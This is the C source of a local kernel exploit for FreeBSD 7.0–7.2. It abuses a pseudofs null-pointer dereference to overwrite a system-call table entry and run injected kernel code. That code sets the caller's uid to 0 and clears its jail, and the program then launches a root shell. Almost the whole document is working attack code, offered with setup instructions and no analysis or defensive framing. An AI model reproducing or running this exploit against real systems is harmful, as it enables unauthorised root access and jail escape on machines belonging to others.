FreeBSD versions 7.0 through 7.2 pseudofs null pointer dereference local exploit.
22f7237d83ef0a7ecbc6f409a5b2a8f85c968be8f991ec9d649f3b126b963114
/*
* 18.08.2010, babcia padlina
* FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit
*
*
* to obtain SYSENT8_SYCALL_ADDR, run:
* $ kgdb /boot/kernel/kernel
* (kgdb) print &sysent[8].sy_call
*/
#define SYSENT8_SYCALL_ADDR 0xc0c4afa4 /* FreeBSD 7.2-RELEASE */
#define _KERNEL
#include <sys/param.h>
#include <sys/conf.h>
#include <sys/ucred.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/extattr.h>
#include <sys/uio.h>
#include <sys/turnstile.h>
#include <sys/queue.h>
struct turnstile {
struct mtx ts_lock;
struct threadqueue ts_blocked[2];
struct threadqueue ts_pending;
LIST_ENTRY(turnstile) ts_hash;
LIST_ENTRY(turnstile) ts_link;
LIST_HEAD(, turnstile) ts_free;
struct lock_object *ts_lockobj;
struct thread *ts_owner;
};
volatile int gotroot = 0;
static void kernel_code(void) {
struct thread *thread;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
/*
* kernel_code() is called while thread is in critical section,
* so we need to unset td_critnest flag to prevent panic after
* nearest user mode page fault.
*/
thread->td_critnest = 0;
thread->td_proc->p_ucred->cr_uid = 0;
thread->td_proc->p_ucred->cr_prison = NULL;
gotroot = 1;
return;
}
int main(int argc, char **argv) {
struct turnstile *ts = 0;
if (access("/proc/curproc/cmdline", R_OK)) {
printf("procfs not found.\n");
return -1;
}
if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
printf("mmap 0x0 failed.\n");
return -1;
}
memset(0, 0, PAGE_SIZE);
/*
* we need to call dummy extattr_get_link() here, to make
* libc memory pages accessible without user mode page fault. without
* it, panic will occur after next extattr_get_link().
*/
extattr_get_link("/dev/null", 0, 0, 0, 0);
/* overwrite sysent[8].sy_call with 0x0 */
ts->ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c);
extattr_get_link("/proc/curproc/cmdline", 0, 0, 0, 0);
*(char *)0x0 = 0x90;
*(char *)0x1 = 0xe9;
*(unsigned long *)0x2 = &kernel_code;
asm(
"movl $0x8, %eax;"
"int $0x80;"
);
if (gotroot) {
printf("oops, I did it again.\n");
setuid(0);
setgid(0);
execl("/bin/sh", "sh", NULL);
}
printf("exploit failed.\n");
return 0;
}